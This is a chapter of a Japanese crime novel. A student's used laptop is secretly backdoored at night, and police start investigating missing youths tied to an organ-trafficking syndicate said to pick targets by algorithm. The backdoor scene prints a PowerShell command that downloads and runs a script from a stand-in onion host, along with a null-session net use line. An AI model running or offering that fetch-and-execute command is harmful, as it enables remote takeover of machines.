第2話
午後三時。
オンライン授業が終わったあと、悠真はレポート課題を片付けていた。
ブラウザのタブをいくつも開き、論文サイト、ニュース記事、大学の掲示板を行ったり来たり。
新しいパソコンは、見た目こそ新品同様だったが、やはりどこか動作がもたつく気がする。
(まあ中古だし、しょうがないか……)
キーボードを叩く指先が少しだけ重い。
ようやくレポートの一段落がついたので、ふと息抜きにSNSを開いた。
いつもならタイムラインの一番上に、美人インフルエンサーの新しい投稿が表示されるはずだった。
だが今日は違った。
「……あれ?」
スクロールすると、見たこともない海外アカウントの投稿がずらりと並んでいる。
白衣姿の医者が臓器の模型を手にしている写真。中国語のキャプションで書かれた高額バイトの募集。
「なんだこれ」
さらにスクロールしても、臓器移植の記事をシェアする謎の医療団体アカウントが続く。
やっと下のほうに、いつもの美人インフルエンサーの投稿が埋もれるように現れた。
「どうして……あの人の投稿が下のほうにあるんだ?」
首をかしげつつも、見つけた瞬間には思わず口元が緩む。動画を再生すると、彼女は相変わらず完璧な笑顔で、今日のメイクを紹介していた。
しかしまた数秒後には、タイムラインがリフレッシュされ、すぐに変な海外アカウントばかりに切り替わる。
「……なんだよ、バグか?」
しびれを切らした悠真はSNSのアプリを閉じた。ため息をつき、椅子から立ち上がってインスタントコーヒーを淹れる。
コーヒーを啜りながら机に戻ると、画面の右下に通知が表示された。
《1件の新しいメッセージがあります》
「あ、また……」
クリックすると、今度は中国語のメッセージだった。
件名:紧急订单
本文:
订单请求,尽快处理。
気になって翻訳アプリで翻訳してみた。
「――注文依頼、早急に。」
「……は?」
気味が悪い。
けれど、さっきのアラビア語メッセージと同じように、中古のPCだから前の持ち主のアドレスが残っているのかもしれない。
(とりあえず削除……)
迷わずゴミ箱へ入れる。
でも、背中のあたりがなんとなくゾワッとした。
(やっぱり早めにセキュリティソフト入れとくか……)
そう思いつつ、再びレポートの仕上げに戻った。
夕方、外の空気を吸いたくなって散歩に出る。
北千住の路地裏は、平日の夕方でも人がまばらだった。商店街のシャッターは半分閉まっていて、コンビニの光だけがやけに明るく浮かんでいる。
「……はぁ」
小さくため息をつきながら家に戻る。
夜九時。
今日は久しぶりに両親と通話することにした。
スマホの画面に映る母親は、心配そうな顔をしていた。
「悠真、大丈夫なの? ちゃんとご飯食べてる? 一人暮らし、無理してない?」
母の声は、少し泣きそうだった。
大学に入るとき、せっかくの一人暮らしなんだから続けなさい、と言ったのは母自身なのに今は後悔しているのが伝わる。
「いいんだよ、母さん。コロナは仕方ないし、一人暮らしもいい社会経験だからさ」
笑って答えると、画面の横から父親が顔を出した。
「あまり甘えるなよ。でも……本当に困ったら言え。できる範囲で何とかしてやるから」
ぶっきらぼうだけど、心配しているのが分かる声だった。
「ありがとう。大丈夫だから」
何だかんだ、心配してくれる両親に少し胸が温かくなる。悠真はお礼を言い、通話を切った。
布団に入る前に、もう一度パソコンをスリープ状態にしておく。
「……明日からも頑張るか」
天井を見つめ、ゆっくり目を閉じた。
深夜2時。
北千住のワンルームは、静まり返っていた。
スリープ状態のはずのノートPCが、突然ファンの音を立てて起動する。
暗闇の中で、画面がひとりでに点灯した。
《Receives an access request from outside》
Wi-Fiのランプが細かく点滅する。
内部でプロセスが起動し、コマンドプロンプトの黒い画面が瞬時に表示される。
《C:\Windows\System32\> net use \\192.168.0.1\IPC$ "" /u:"Administrator"
The command completed successfully.
C:\Windows\System32\> rundll32.exe shell32.dll,Control_RunDLL ncpa.cpl
Establishing remote shell...
C:\Windows\System32\> powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://hidden-gate.onion/backdoor.ps1')"
[+] Backdoor deployed successfully.
[+] Connecting to remote host...
[+] Remote access granted: UserID_47》
画面には、無機質な文字列が流れ続ける。
《Backdoor connection complete》
暗号化された通信が、WiFi経由でどこか遠くのサーバーへ送信される。
パソコンのカメラが、わずかに赤いランプを光らせた。寝顔の悠真を映し出す映像が、暗闇の向こうへと転送されていく。
数秒後、パソコンは自動的にシャットダウンした。
部屋は、再び静寂に戻る。
━━━━━━━━━━━━━━━
翌日。
朝の空気は少し湿り気を帯びていた。
堀切駅の改札を抜け、ひと駅手前から歩くことにした。この日は、年に数回の大学での授業がある日だった。朝、悠真は少し浮かれながら準備をしていた。
「せっかくだしな……」
久しぶりに大学に行く足取りは、ほんの少しだけ軽かった。それでも、頭のどこかでは妙に大学の建物の位置を思い出せない自分に違和感を覚える。
コロナ禍でオンライン授業ばかりだったから、本来なら見慣れているはずのキャンパスが、どこか他人のもののように感じる。
「あれ……ここだったっけ?」
道を一本間違えそうになり、スマホで地図を確認する。大学生になって三年目だというのに、新入生みたいな気分だった。
キャンパスに入ると、通学している学生たちの声が少しだけ懐かしく感じた。建物の匂い、ざわめき、行き交う人の熱気――すべてが、どこか夢みたいだった。
午前の対面授業を終えると、久しぶりにゼミ室へ足を向ける。
ゼミ室のドアを開けると、そこには見慣れた顔があった。
「……あっ!」
澪が先に気づき、ぱっと笑顔になる。
「悠真くん、久しぶり!」
「お、マジで来たのか!」
違うゼミに所属している三浦朔也もいた。
久しぶりに顔を合わせた三人は、少しだけぎこちなく笑いながらも嬉しそうだった。
「元気にしてた? 特にパソコン壊れた桜井くんは大丈夫そう?」
澪が冗談めかして言う。
「まぁ……とりあえずはな」
三浦がニヤニヤしながら加わる。
「そーそーw 改めてバイト紹介しようか? 金ねーんだろ?」
「だから危ないのはダメだって」
澪が即座に遮る。
「いや、まだ何も言ってねーし?」
そんなやり取りを交わしながら、悠真はゼミの教授に声をかけた。
「すみません、パソコンはとりあえず買えたので、しばらくは大丈夫そうです」
教授は柔らかく頷く。
「まぁオンライン授業自体、初めての試みですからね。無理もありません」
そのあと三人は卒論の課題について少し話した。
三浦が「早くゼミ戻ってこいよ」などと適当なことを言い、澪が「朔也くんが言うと説得力ないよね」と返す。
そんな他愛もない会話が、悠真にとっては久しぶりに人と繋がってる感覚だった。
ただそれだけで、少し救われる気持ちがあった。
ゼミが終わったあと、三人は近くのファミレスに入った。
「やっぱ対面で会えると違うね」
澪がアイスコーヒーを飲みながら言う。
「そうだな……あ、そういえばさ」
悠真はふと思い出して話を切り出す。
「前に買ったパソコン……ちょっと変なんだよな」
「なんだ?もしかしてハズレ買わされた感じ?」
三浦が笑う。
澪も首を傾げる。
「格安だって聞いたし、変なのじゃないよね?」
「いや、多分壊れてるとかじゃないと思うんだけど……ほら、SNSの投稿ってさ、アルゴリズムっていうの? 普段俺の検索履歴を学習して、俺の好みの投稿を選んで表示してくるじゃん。それが最近、変なアカウントばっかり表示するんだよね」
「変なアカウント?」
「海外の医者とか、中国語のよくわからんバイト募集とか。いつも上にあるインフルエンサーの投稿が、下の方に埋もれるんだよ」
澪は少し考えてから言った。
「アプリの不具合じゃない? 運営に問い合わせれば対応してくれるかもよ」
「それだけじゃなくて、変なメッセージも来るんだよ。アラビア語とか、中国語とか。ちょっと気味悪くてさ」
三浦は肩をすくめる。
「まぁあんまり変なら買い替えたら?」
「そんな金ねぇよ。とりあえず大丈夫だから、このまま使うよ」
その話題はそれで終わった。
澪は先に帰ると言い、ファミレスを出ていった。
三浦と二人きりになると案の定、彼はスマホを取り出してきた。
「……で、悠真」
「……またか?」
「いやいや、聞くだけ聞けって。そんなに金困ってるなら、バイトしようぜ? 紹介するからさ」
悠真は三浦の性格を分かっていた。
悪い奴じゃない。でも、楽な方にすぐ舵を切る。例えそれが危ない橋でも。
「危ないヤツだろ? それか普通じゃないやつ。いいよ、パソコンも大丈夫そうだし、来月からまたバイトのシフト相談するし……」
そう言いながらも、かなり逼迫した状態の悠真は少しだけ気になった。
「ち、ちなみにどんなバイト?」
三浦は画面を見せる。
「簡単な治験のバイト。って言っても危ない薬品とかじゃなくて、既に認証貰えそうなやつを最終的な確認テストみたいな感じで人実験するだけ。元々の安全性は担保されてるから大丈夫」
説明文をちらっと見た瞬間、悠真はどこかで見覚えのある無機質な言葉の並びに違和感を覚えた。でも、すぐに思い出せなかった。
「……やっぱいいや」
「まぁ気が向いたらでいいよ。でも本当に困ったら言えよ?これでも友達だからな」
三浦はそう言い残し、駅の方へ歩いていった。
悠真は今日のことを振り返りながら帰路についた。久しぶりに人と会って話せたことが、少し嬉しかった。
家に戻ると、パソコンを開きSNSをチェックした。
やっぱり、タイムラインの上位には海外の変なアカウントが並ぶ。
白衣の医者、よく分からない臓器移植のニュース、中国語のバイト広告……
でも、少しスクロールすると、以前よりは美人インフルエンサーの投稿が上の方に戻ってきた。
「……やっと直ったか?」
小さくつぶやく。
SNSを一通り見終えて、悠真は風呂に入りに行った。
リビングには、開かれたままのパソコンとSNSのタイムラインが映し出されている。
ふと、最新の投稿が更新された。
――それは、悠真の友人のアカウントだった。
《#200万円で腎臓売ります》
━━━━━━━━━━━━━━━
警視庁・捜査一課。
神崎亮介は、机の上に並んだ資料の束を眺めながら小さくため息をついた。
本当なら、今日は別の案件に入りたかった。
アジア系の犯罪組織が、都内で活発に動き始めている。公安部と合同の大きな摘発が予定されていた。だが━━━━
「……人手が足りない? だから俺たちが行方不明者の捜索に回れ、って?」
神崎の横で柊美和が露骨に眉をひそめた。
「そうですって。断れなかったみたいですね、うちの課長」
「まったく……」
愚痴を飲み込み、神崎は資料をめくる。
現場に向かう車内。
ファイルには1週間前に提出された行方不明届が挟まっていた。
行方不明者は21歳の男子大学生。北千住のアパートを最後に消息を絶っている。
柊が運転席でハンドルを握りながら、溜息混じりに言った。
「1週間前に行方不明届けが出されています……今更見つかると思いますか?」
神崎は助手席で視線を外に向けたまま答える。
「行方が分からなくなって心配している家族がいるんだ。俺たち警察が動かなくてどうする」
そう言いながらも、心のどこかでは分かっていた。
――本当は、早々に見つからないだろうと打ち切りたい。行方不明というのはもし、事件に巻き込まれていれば日が進むにつれ生存確率は下がっていくものだ。それも音信不通が一週間ともなると、正直絶望的だなとは思っていた。
そして、今まさに動いている犯罪組織の摘発に加わりたかった。
だが、それを言葉にすることはできなかった。
神崎は資料のリストをめくる。
行方不明者の顔写真。
どれも20代の学生や、新社会人ばかりだ。
未来のある若者たちが、なぜ行方不明なんかに――
「……まさか、集団自殺とかやめろよな」
思わず口をついた言葉に、柊がちらりと視線を寄越す。
「神崎さんは、今の若者が希望に満ち溢れていると思います?」
「そりゃ……若いんだから、いくらでもあるだろ」
即答した神崎に、柊は少しだけ口元を歪めた。
「今のご時世、求められる能力は高く、それが標準レベル。かといって仕事量は増えるばかり、手取りは減り、何に使われているか分からない税金を多く取られる。結婚にも幸せを見いだせない中で……今の若者が未来に希望を見いだせると思いますか?」
神崎は言葉を詰まらせた。
返す言葉が見つからない。
柊はちらっとバックミラーを見て、小さく息を吐く。
「冗談ですよ。でも……だからって本当に集団自殺だったら見過ごせませんし、私だったら頬ひっぱたいて言いますね。舐めた生き方するな、って」
一瞬の沈黙。
神崎は思わず口元を緩めた。
「柊のそういうとこ、意外と好きだよ」
「……セクハラですか?」
柊が淡々と返す。
「えっ……いや、そういう意味じゃ――」
「はいはい、分かってますよ」
神崎が凹む横で、柊は運転を続けた。
現場に向かう車は、北千住方面へと走っていく。
行方不明になった若者の痕跡を追うために。
━━━━━━━━━━━━━━━
都内・警視庁本部の会議室。
壁には大きな地図と、複数のモニターが並んでいる。そこに、公安部、捜査一課、外事課、警備部の人間が集まっていた。
会議室の空気は、重かった。
この場にいる誰もが、目の前の案件がただの犯罪組織の摘発では済まないことを知っていた。
公安部外事三課の担当官が前に立ち、ホワイトボードに資料を貼り出す。
「――では、現時点で判明しているアジア系犯罪組織の概要について、改めて共有します」
声は淡々としていたが、言葉の端々に緊張が滲む。
「組織名は、現在も不明です。
通称は“ゴースト・シンジケート”と呼ばれていますが、正式な呼称は特定されていません。
活動範囲は東南アジア、中東、ロシアを中心に拡大しており、麻薬の取引、武器の売買、人身売買、強盗、誘拐――
とにかく金になることなら何でもやる多角化した犯罪ビジネスを展開しています」
会議室にざわめきが走る。
「組織の特徴は、従来のマフィアや暴力団とは異なり、構造が分散型だということです。
トップが誰なのか、幹部がどこにいるのか――全容が把握できない。その代わりに、彼らは独自の特殊システムを運用している可能性があります」
公安の担当官が、スライドに切り替えた。
そこには、ロシアで逮捕されたという男の写真が映し出される。
「こちらはロシア・モスクワで拘束された、通称“ブリーダー”と呼ばれる人物です。
彼は人身売買ルートの供給管理役であり、今回の組織と繋がりがあると供述しています。取り調べの中で、彼はこう言いました――」
担当官が資料を読み上げる。
『彼らは人ではなく、システムに従って動いている。すべてのリストは、システムが選ぶ。
トップですら、そのシステムに逆らえない』
会議室が、さらに静まり返った。
捜査一課の刑事課長が手を挙げる。
「そのシステムというのは、具体的に何ですか? AIか? それともただのネットワーク上のデータベースか?」
公安の担当官は小さく首を横に振った。
「現段階では不明です。ただ、各国の捜査機関がこの組織を危険視している最大の理由がそこにあります。彼らは人が指示するのではなく、何らかのアルゴリズムかデータベースが標的を選び、管理するという情報が複数の証言から出ています」
外事課の捜査官が口を挟む。
「そのデータベースは、臓器売買の適合リストや、誘拐・強盗のターゲット選定にも使われている可能性が高い。つまり、人間の健康情報や生活パターンを集積し、自動で価値をスコア化していると考えられます」
「……まるで、SNSのアルゴリズムみたいだな」
後方の刑事がぼそっと呟いた。
公安担当官は頷く。
「その通りです。SNSやオンラインサービスの利用履歴、検索履歴――
そうした日常のデータから、臓器や人身の在庫価値を自動判別している可能性が高いと見ています」
会議室に、重苦しい沈黙が落ちた。
担当官は次のスライドに切り替える。
「そして――この組織の人間が、日本に入国したという情報を入手しました」
画面に映るのは、入国管理局が撮影した監視カメラの映像。アジア系の男が、成田空港を通過する瞬間が拡大されている。
「ロシアのブリーダーの供述によると、彼はネットワーク拡大のための調整役です。
現在、国内で潜伏先を特定中ですが、時間の問題で活動を開始する恐れがあります」
ここで、合同捜査本部の管理官が前に立つ。
「――よし、ここまでの情報を踏まえて合同捜査本部を立ち上げる。
まず最優先は、組織の情報収集と国内ネットワークの特定だ。公安部・外事課は引き続き、組織の国際ルートを追え。
捜査一課は、国内での行方不明者案件と関連性がないか洗い直せ。
警備部は監視カメラ映像と入国者データの解析を急げ。今後、国外捜査機関との連携も視野に入れる。とにかく、国内での活動を始める前に手を打たなければならん。」
数名の捜査員が次々と指示を受け、各部署の動きが整理されていく。
・公安部は国外ネットワークとの接触者リストを作成
・外事課は国内潜伏先の割り出しと関係者洗い出し
・捜査一課は行方不明者リストと既存の犯罪データを照合
・警備部は防犯カメラ・顔認証システムの解析強化
管理官の声が会議室に響いた。
「――いいか。こいつらは、従来のマフィアとも暴力団とも違う。実態が見えない。だが確実に何かを企んでいる。日本に入国した以上、国内でターゲットが選ばれるのは時間の問題だ。
どんな些細な情報でもいい、必ず拾え。今はそれしか手がない」
全員の表情が硬くなる。
「以上だ。解散!」
会議が終わると同時に、各部署の捜査員たちが慌ただしく動き出した。
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